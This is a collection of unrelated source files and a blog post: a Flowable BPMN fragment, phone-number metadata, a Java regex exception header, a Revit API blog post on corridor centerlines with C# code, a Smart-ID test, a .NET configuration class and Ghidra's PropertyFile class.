    <serviceTask id="theTask2" flowable:async="true" flowable:exclusive="true" flowable:expression="${true}" />
    <sequenceFlow id="flow6" sourceRef="theTask2" targetRef="inclusiveGwJoin" />

    <inclusiveGateway id="inclusiveGwJoin" name="Inclusive Gateway join" flowable:async="true" flowable:exclusive="true" />
    <sequenceFlow id="flow7" sourceRef="inclusiveGwJoin" targetRef="countingServiceTask" />

    <serviceTask id="countingServiceTask" flowable:expression="${execution.setVariable('counter', execution.getVariable('counter') + 1)}" />
    <sequenceFlow id="flow8" sourceRef="countingServiceTask" targetRef="theUserTask" />

    <userTask id="theUserTask" />
    <sequenceFlow id="flow9" sourceRef="theUserTask" targetRef="theEnd" />

    <endEvent id="theEnd" />

  </process>

</definitions>


text:
"""Auto-generated file, do not edit by hand. CM metadata"""
from ..phonemetadata import NumberFormat, PhoneNumberDesc, PhoneMetadata

PHONE_METADATA_CM = PhoneMetadata(id='CM', country_code=None, international_prefix=None,
    general_desc=PhoneNumberDesc(national_number_pattern='[18]\\d{1,3}', possible_number_pattern='\\d{2,4}'),
    toll_free=PhoneNumberDesc(national_number_pattern='NA', possible_number_pattern='NA'),
    premium_rate=PhoneNumberDesc(national_number_pattern='NA', possible_number_pattern='NA'),
    emergency=PhoneNumberDesc(national_number_pattern='1?1[37]', possible_number_pattern='\\d{2,4}', example_number='113'),
    short_code=PhoneNumberDesc(national_number_pattern='1?1[37]|8711', possible_number_pattern='\\d{2,4}', example_number='113'),
    standard_rate=PhoneNumberDesc(national_number_pattern='NA', possible_number_pattern='NA'),
    carrier_specific=PhoneNumberDesc(national_number_pattern='8711', possible_number_pattern='\\d{4}'),
    short_data=True)


text:
extern "Java"
{
  namespace gnu
  {
    namespace java
    {
      namespace util
      {
        namespace regex
        {
            class REException;
        }
      }
    }
  }
}

class gnu::java::util::regex::REException : public ::java::lang::Exception
{

public: // actually package-private
  REException(::java::lang::String *, jint, jint);
  REException(::java::lang::String *, ::java::lang::Throwable *, jint, jint);
public:
  virtual jint getType();
  virtual jint getPosition();
  virtual ::java::lang::String * getMessage();
private:
  jint __attribute__((aligned(__alignof__( ::java::lang::Exception)))) type;
  jint pos;
public:
  static const jint REG_BADRPT = 1;
  static const jint REG_BADBR = 2;
  static const jint REG_EBRACE = 3;
  static const jint REG_EBRACK = 4;
  static const jint REG_ERANGE = 5;
  static const jint REG_ECTYPE = 6;
  static const jint REG_EPAREN = 7;
  static const jint REG_ESUBREG = 8;
  static const jint REG_EEND = 9;
  static const jint REG_ESCAPE = 10;
  static const jint REG_BADPAT = 11;
  static const jint REG_ESIZE = 12;
  static const jint REG_ESPACE = 13;
  static ::java::lang::Class class$;
};

#endif // __gnu_java_util_regex_REException__


text:
<meta http-equiv="Content-Type" content="text/html; charset=utf-8">
<link rel="stylesheet" type="text/css" href="bc.css">

Corridor Skeleton, Copy and Paste API

Today, we highlight an urgent request for feedback from the Revit development team and an especially interesting thread from
the Revit API discussion forum:

Copy and paste API feedback

Corridor skeleton

 Copy and Paste API Feedback

The development team announced the Copy/Paste API enhancement and request feedback on it in
the Revit API discussion forum thread asking
to help us test the enhanced Copy API for sketch members!

If you are a participant in the Revit beta program, please check out this month's June preview release!

We have an enhanced API to better support Copy-Paste of Sketch members and would like your feedback on it.

We've made Copy-Pasting of Sketch members in API more consistent with UI, and in the process fixed multiple bugs.

Find the summary of changes and code samples to try out the new functionality on our Preview Release Forum.

Apply for access at revit.preview.access@autodesk.com.

For any questions or concerns you might have, please get in touch with us at feedback.autodesk.com.

 Corridor Skeleton

An exciting discussion ensued in
the Revit API discussion forum thread on how
to get room centerlines and intersections for corridors and passages:

Question: How do I get the centerlines of a single room shown below?
I know one way is to divide the room manually into rectangular rooms with additional room separation lines, that way I can just use bounding boxes and get individual center lines.
But how Do I approach this for a single room with multiple turns/crossing/intersection??

Answer: This sounds like an interesting computational algebra task.
I would suggest doing some purely geometrical research completely disconnected from Revit and BIM, to start with.
Initially, I thought that
an alpha shape might
be useful for you, but just looking at the picture,
the minimum spanning tree looks more like your goal.

Response: Thanks for the Alpha Shape suggestion.
That is what I am ultimately looking for.
It's also called Concave hull in some forums.

I went through the steps where one has to vary the 'Alpha' to get the desired outcome which is basically the radius of the circle getting used in the algorithm.

I looked at this alpha shape (concave hull) algorithm in C#.
I definitely want to implement this for my case.

Meanwhile, me being lazy, I figured out an easy way to solve my particular problem.

I used part of
your Revit API code for convex hull to
get the vertices of the room.
This is necessary, as there are multiple boundary segments when there is an overlapping room separation line, a door in the wall, etc.
Instead of calculating the convex hull, I just iterate over those resulting vertices and determine the pair of points which are 'nearby'.
As the corridor width is fairly standard, I can define my own suitable 'nearby' tolerance.
Then, I calculate the midpoint of each pair.
That basically provides the centerline vertices:

I understand this is just a temporary and lazy solution that only works for my case.
I intend to implement the Alpha shape (concave hull) algorithm over the weekend.

Answer: The simpler the better.
Kiss!
I love your pragmatic closest-point-pair approach.
Thank you very much for sharing that, and looking forward to the alpha shape results.
Happy, fruitful weekend and successful coding!

Answer2: I think a straight skeleton,
or some other topological skeleton, would work much better than an alpha shape for your situation.

Response: So, I was implementing Alpha shape for this polygon; halfway through, I realized that already is an Alpha shape. :-)
I read more about Straight skeleton.
It led me to Medial Axis, which is basically the centerlines that we are talking about.
There are a few algorithms to calculate Medial Axis, e.g.,
to find medial axis of a polygon using C#.
But this seems quite time consuming, and for now I am adhering
to Kiss! :-)
Thanks @jeremy.tammik and @mhannonQ65N2 for your inputs.

Here is the Method which returns the list of pairs of vertices which are 'nearby'.

Note: This only works when the corridor width is around 1500mm (which is design standard in my firm). For larger width, we can vary the 'tolerance' variable. Also, the length of a single branch/ junction is not less than 2550mm. Otherwise it'll return additional pairs. Which is more or less fine as the center points of those pairs will also lie on the Medial Axis (corridor centerline)

  public List<List<XYZ>> ReturnVertexPairs(Room corridorRoom)
  {
    SpatialElementBoundaryOptions opt = new SpatialElementBoundaryOptions
    {
      SpatialElementBoundaryLocation =
      SpatialElementBoundaryLocation.Finish
    };

    IList<IList<BoundarySegment>> loops = corridorRoom.GetBoundarySegments(opt);

    List<XYZ> roomVertices = new List<XYZ>(); //List of all room vertices
    foreach (IList<BoundarySegment> loop in loops)
    {
      //TaskDialog.Show("Revit", "Total Segments = " + loop.Count().ToString());

      XYZ p0 = null; //previous segment start point
      XYZ p = null; // segment start point
      XYZ q = null; // segment end point

      foreach (BoundarySegment seg in loop)
      {
        q = seg.GetCurve().GetEndPoint(1);

        if (p == null)
        {
          roomVertices.Add(seg.GetCurve().GetEndPoint(0));
          p = seg.GetCurve().GetEndPoint(0);
          p0 = p;
          continue;
        }
        p = seg.GetCurve().GetEndPoint(0);
        if (p != null && p0 != null)
        {
          if (AreCollinear(p0, p, q))//skipping the segments that are collinear
          {
            p0 = p;
            continue;
          }
          else
          {
            roomVertices.Add(p);
          }
        }
        p0 = p;
      }
    }

    double tolerance = 2550; //Distance between two Points (in mm) should be less than this number
    List<List<XYZ>> nearbyPairs = new List<List<XYZ>>(); //List of Pairs of nearby points
    for (int i = 0; i < roomVertices.Count() - 1; i++)
    {
      for (int j = i + 1; j < roomVertices.Count(); j++)
      {
        double dist = roomVertices[i].DistanceTo(roomVertices[j]) * 304.8;
        if (dist < tolerance) //checking whether two points are nearby based on tolerance
        {
          nearbyPairs.Add(new List<XYZ> { roomVertices[i], roomVertices[j] });
        }
      }
    }
    //TaskDialog.Show("Revit", "Total points = " + roomVertices.Count().ToString()
    //  + Environment.NewLine + "Total Pairs = " + nearbyPairs.Count());
    return nearbyPairs;
  }

Helper method to check whether points are collinear, used to skip collinear boundary segments:

  static bool AreCollinear(XYZ p1, XYZ p2, XYZ p3)
  {
    bool collinear = false;
    double area = 0.5 * Math.Abs(p1.X * (p2.Y - p3.Y)
      + p2.X * (p3.Y - p1.Y)
      + p3.X * (p1.Y - p2.Y));
    //sometimes area is not exactly zero but is very small number
    if (area < 0.1)
    {
      collinear = true;
    }
    return collinear;
  }

Many thanks to @amrut.modani.wwi for raising this and sharing his nice approach!


text:
package ee.sk.smartid;

import ee.sk.smartid.exception.permanent.SmartIdClientException;
import org.junit.Test;

public class CertificateParserTest {

    @Test(expected = SmartIdClientException.class)
    public void testBothCertificateLevelsQualified() {
        CertificateParser.parseX509Certificate("invalid");
    }

}


text:
<?php
// same as navy.php
require __DIR__ . '/navy.php';


text:
using System.Configuration;

namespace CIAUTH.Configuration
{
    [ConfigurationCollection(typeof(ClientElement), AddItemName = "client", CollectionType = ConfigurationElementCollectionType.BasicMap)]
    public class ClientElementCollection:ConfigurationElementCollection
    {
        protected override ConfigurationElement CreateNewElement()
        {
            return new ClientElement();
        }

        protected override object GetElementKey(ConfigurationElement element)
        {
            return ((ClientElement)element).Id;
        }

        public ClientElement this[int index]
        {
            get { return (ClientElement)base.BaseGet(index); }
            //set
            //{
            //    if (base.BaseGet(index) != null)
            //    {
            //        base.BaseRemoveAt(index);
            //    }
            //    base.BaseAdd(index, value);
            //}
        }

        public new ClientElement this[string name]
        {
            get
            {
                if (string.IsNullOrEmpty(name))
                {
                    return null;
                }
                return (ClientElement)base.BaseGet(name);
            }
        }
    }
}


text:
/* ###
 * IP: GHIDRA
 *
 * Licensed under the Apache License, Version 2.0 (the "License");
 * you may not use this file except in compliance with the License.
 * You may obtain a copy of the License at
 *
 *      http://www.apache.org/licenses/LICENSE-2.0
 *
 * Unless required by applicable law or agreed to in writing, software
 * distributed under the License is distributed on an "AS IS" BASIS,
 * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
 * See the License for the specific language governing permissions and
 * limitations under the License.
 */
package ghidra.util;

import generic.stl.Pair;
import ghidra.framework.store.FileSystem;
import ghidra.util.exception.DuplicateFileException;
import ghidra.util.xml.XmlUtilities;
import ghidra.xml.NonThreadedXmlPullParserImpl;
import ghidra.xml.XmlElement;

import java.io.*;
import java.util.HashMap;
import java.util.Map.Entry;

import org.xml.sax.*;

/**
 * Class that represents a file of property names and values. The file
 * extension used is PROPERTY_EXT.
 *
 */
public class PropertyFile {

	/**
	 * File extension indicating the file is a property file.
	 */
	public final static String PROPERTY_EXT = ".prp";

	private static final String FILE_ID = "FILE_ID";

	protected File propertyFile;
	protected String storageName;
	protected String parentPath;
	protected String name;

	private static enum PropertyEntryType {
		INT_TYPE("int"), LONG_TYPE("long"), BOOLEAN_TYPE("boolean"), STRING_TYPE("string");
		PropertyEntryType(String rep) {
			this.rep = rep;
		}

		private final String rep;

		public static PropertyEntryType lookup(String rep) {
			for (PropertyEntryType entryType : PropertyEntryType.values()) {
				if (rep.equals(entryType.rep)) {
					return entryType;
				}
			}
			return null;
		}
	}

	private HashMap<String, Pair<PropertyEntryType, String>> map =
		new HashMap<String, Pair<PropertyEntryType, String>>();

	/**
	 * Construct a new or existing PropertyFile.
	 * This form ignores retained property values for NAME and PARENT path.
	 * @param dir parent directory
	 * @param storageName stored property file name (without extension)
	 * @param parentPath path to parent
	 * @param name name of the property file
	 * @throws IOException
	 */
	public PropertyFile(File dir, String storageName, String parentPath, String name)
			throws IOException {
		if (!dir.isAbsolute()) {
			throw new IllegalArgumentException("dir must be specified by an absolute path");
		}
		this.name = name;
		this.parentPath = parentPath;
		this.storageName = storageName;
		propertyFile = new File(dir, storageName + PROPERTY_EXT);
		if (propertyFile.exists()) {
			readState();
		}
	}

	/**
	 * Return the name of this PropertyFile.  A null value may be returned
	 * if this is an older property file and the name was not specified at
	 * time of construction.
	 */
	public String getName() {
		return name;
	}

	/**
	 * Returns true if file is writable
	 */
	public boolean isReadOnly() {
		return !propertyFile.canWrite();
	}

	/**
	 * Return the path to this PropertyFile.  A null value may be returned
	 * if this is an older property file and the name and parentPath was not specified at
	 * time of construction.
	 */
	public String getPath() {
		if (parentPath == null || name == null) {
			return null;
		}
		if (parentPath.length() == 1) {
			return parentPath + name;
		}
		return parentPath + FileSystem.SEPARATOR_CHAR + name;
	}

	/**
	 * Return the path to the parent of this PropertyFile.
	 */
	public String getParentPath() {
		return parentPath;
	}

	/**
	 * Return the parent file to this PropertyFile.
	 */
	public File getFolder() {
		return propertyFile.getParentFile();
	}

	/**
	 * Return the storage name of this PropertyFile.  This name does not include the property
	 * file extension (.prp)
	 */
	public String getStorageName() {
		return storageName;
	}

	/**
	 * Returns the FileID associated with this file.
	 * @return FileID associated with this file
	 */
	public String getFileID() {
		return getString(FILE_ID, null);
	}

	/**
	 * Set the FileID associated with this file.
	 * @param fileId
	 */
	public void setFileID(String fileId) {
		putString(FILE_ID, fileId);
	}

	/**
	 * Return the int value with the given propertyName.
	 * @param propertyName name of property that is an int
	 * @param defaultValue value to use if the property does not exist
	 * @return int value
	 */
	public int getInt(String propertyName, int defaultValue) {
		Pair<PropertyEntryType, String> pair = map.get(propertyName);
		if (pair == null || pair.first != PropertyEntryType.INT_TYPE) {
			return defaultValue;
		}
		try {
			String value = pair.second;
			return Integer.parseInt(value);
		}
		catch (NumberFormatException e) {
			return defaultValue;
		}
	}

	/**
	 * Assign the int value to the given propertyName.
	 * @param propertyName name of property to set
	 * @param value value to set
	 */
	public void putInt(String propertyName, int value) {
		map.put(propertyName, new Pair<PropertyEntryType, String>(PropertyEntryType.INT_TYPE,
			Integer.toString(value)));
	}

	/**
	 * Return the long value with the given propertyName.
	 * @param propertyName name of property that is a long
	 * @param defaultValue value to use if the property does not exist
	 * @return long value
	 */
	public long getLong(String propertyName, long defaultValue) {
		Pair<PropertyEntryType, String> pair = map.get(propertyName);
		if (pair == null || pair.first != PropertyEntryType.LONG_TYPE) {
			return defaultValue;
		}
		try {
			String value = pair.second;
			return Long.parseLong(value);
		}
		catch (NumberFormatException e) {
			return defaultValue;
		}
	}

	/**
	 * Assign the long value to the given propertyName.
	 * @param propertyName name of property to set
	 * @param value value to set
	 */
	public void putLong(String propertyName, long value) {
		map.put(propertyName,
			new Pair<PropertyEntryType, String>(PropertyEntryType.LONG_TYPE, Long.toString(value)));
	}

	/**
	 * Return the string value with the given propertyName.
	 * @param propertyName name of property that is a string
	 * @param defaultValue value to use if the property does not exist
	 * @return string value
	 */
	public String getString(String propertyName, String defaultValue) {
		Pair<PropertyEntryType, String> pair = map.get(propertyName);
		if (pair == null || pair.first != PropertyEntryType.STRING_TYPE) {
			return defaultValue;
		}
		String value = pair.second;
		return value;
	}

	/**
	 * Assign the string value to the given propertyName.
	 * @param propertyName name of property to set
	 * @param value value to set
	 */
	public void putString(String propertyName, String value) {
		map.put(propertyName, new Pair<PropertyEntryType, String>(PropertyEntryType.STRING_TYPE,
			value));
	}

	/**
	 * Return the boolean value with the given propertyName.
	 * @param propertyName name of property that is a boolean
	 * @param defaultValue value to use if the property does not exist
	 * @return boolean value
	 */
	public boolean getBoolean(String propertyName, boolean defaultValue) {
		Pair<PropertyEntryType, String> pair = map.get(propertyName);
		if (pair == null || pair.first != PropertyEntryType.BOOLEAN_TYPE) {
			return defaultValue;
		}
		String value = pair.second;
		return Boolean.parseBoolean(value);
	}

	/**
	 * Assign the boolean value to the given propertyName.
	 * @param propertyName name of property to set
	 * @param value value to set
	 */
	public void putBoolean(String propertyName, boolean value) {
		map.put(propertyName, new Pair<PropertyEntryType, String>(PropertyEntryType.BOOLEAN_TYPE,
			Boolean.toString(value)));
	}

	/**
	 * Remove the specified property
	 * @param propertyName
	 */
	public void remove(String propertyName) {
		map.remove(propertyName);
	}

	/**
	 * Return the time of last modification in number of milliseconds.
	 */
	public long lastModified() {
		return propertyFile.lastModified();
	}

	/**
	 * Write the contents of this PropertyFile.
	 * @throws IOException thrown if there was a problem writing the file
	 */
	public void writeState() throws IOException {
		PrintWriter writer = new PrintWriter(propertyFile);
		try {
			writer.println("<?xml version=\"1.0\" encoding=\"UTF-8\"?>");
			writer.println("<FILE_INFO>");
			writer.println("    <BASIC_INFO>");
			for (Entry<String, Pair<PropertyEntryType, String>> entry : map.entrySet()) {
				String propertyName = entry.getKey();
				String propertyType = entry.getValue().first.rep;
				String propertyValue = entry.getValue().second;
				writer.print("        <STATE NAME=\"");
				writer.print(XmlUtilities.escapeElementEntities(propertyName));
				writer.print("\" TYPE=\"");
				writer.print(XmlUtilities.escapeElementEntities(propertyType));
				writer.print("\" VALUE=\"");
				writer.print(XmlUtilities.escapeElementEntities(propertyValue));
				writer.println("\" />");
			}
			writer.println("    </BASIC_INFO>");
			writer.println("</FILE_INFO>");
		}
		finally {
			writer.close();
		}
	}

	private static final ErrorHandler HANDLER = new ErrorHandler() {
		@Override
		public void warning(SAXParseException exception) throws SAXException {
			throw exception;
		}

		@Override
		public void error(SAXParseException exception) throws SAXException {
			throw exception;
		}

		@Override
		public void fatalError(SAXParseException exception) throws SAXException {
			throw exception;
		}
	};

	/**
	 * Read in this PropertyFile into a SaveState object.
	 * @throws IOException thrown if there was a problem reading the file
	 */
	public void readState() throws IOException {
		NonThreadedXmlPullParserImpl parser = null;
		try {
			parser = new NonThreadedXmlPullParserImpl(propertyFile, HANDLER, false);
			XmlElement file_info = parser.start("FILE_INFO");
			XmlElement basic_info = parser.start("BASIC_INFO");
			XmlElement state;
			while ((state = parser.softStart("STATE")) != null) {
				String propertyName = state.getAttribute("NAME");
				String propertyTypeString = state.getAttribute("TYPE");
				String propertyValue = state.getAttribute("VALUE");
				PropertyEntryType propertyType = PropertyEntryType.lookup(propertyTypeString);
				map.put(propertyName, new Pair<PropertyEntryType, String>(propertyType,
					propertyValue));
				parser.end(state);
			}
			parser.end(basic_info);
			parser.end(file_info);
		}
		catch (Exception e) {
			Msg.error(this, "Unexpected Exception: " + e.getMessage(), e);
			throw new InvalidObjectException("XML parse error in properties file");
		}
		finally {
			if (parser != null) {
				parser.dispose();
			}
		}
	}

	/**
	 * Move this PropertyFile to the newParent file.
	 * @param newParent new parent of the file
	 * @param newStorageName new storage name
	 * @param newParentPath parent path of the new parent
	 * @param newName new name for this PropertyFile
	 * @throws IOException thrown if there was a problem accessing the
	 * @throws DuplicateFileException thrown if a file with the newName
	 * already exists
	 */
	public void moveTo(File newParent, String newStorageName, String newParentPath, String newName)
			throws DuplicateFileException, IOException {
		if (!newParent.equals(propertyFile.getParentFile()) || !newStorageName.equals(storageName)) {
			File newPropertyFile = new File(newParent, newStorageName + PROPERTY_EXT);
			if (newPropertyFile.exists()) {
				throw new DuplicateFileException(newName + " already exists");
			}
			if (!propertyFile.renameTo(newPropertyFile)) {
				throw new IOException("move failed");
			}
			propertyFile = newPropertyFile;
			storageName = newStorageName;
		}
		parentPath = newParentPath;
		name = newName;
	}

	/**
	 * Return whether the file for this PropertyFile exists.
	 */
	public boolean exists() {
		return propertyFile.exists();
	}

	/**
	 * Delete the file for this PropertyFile.
	 */
	public void delete() {
		propertyFile.delete();
	}

	@Override
	public int hashCode() {
		final int prime = 31;
		int result = 1;
		result = prime * result + ((propertyFile == null) ? 0 : propertyFile.hashCode());
		return result;
	}

	@Override
	public boolean equals(Object obj) {
		if (this == obj) {
			return true;
		}
		if (obj == null) {
			return false;
		}
		if (getClass() != obj.getClass()) {
			return false;
		}
		PropertyFile other = (PropertyFile) obj;
		if (propertyFile == null) {
			if (other.propertyFile != null) {
				return false;
			}
		}
		else if (!propertyFile.equals(other.propertyFile)) {
			return false;
		}
		return true;
	}
}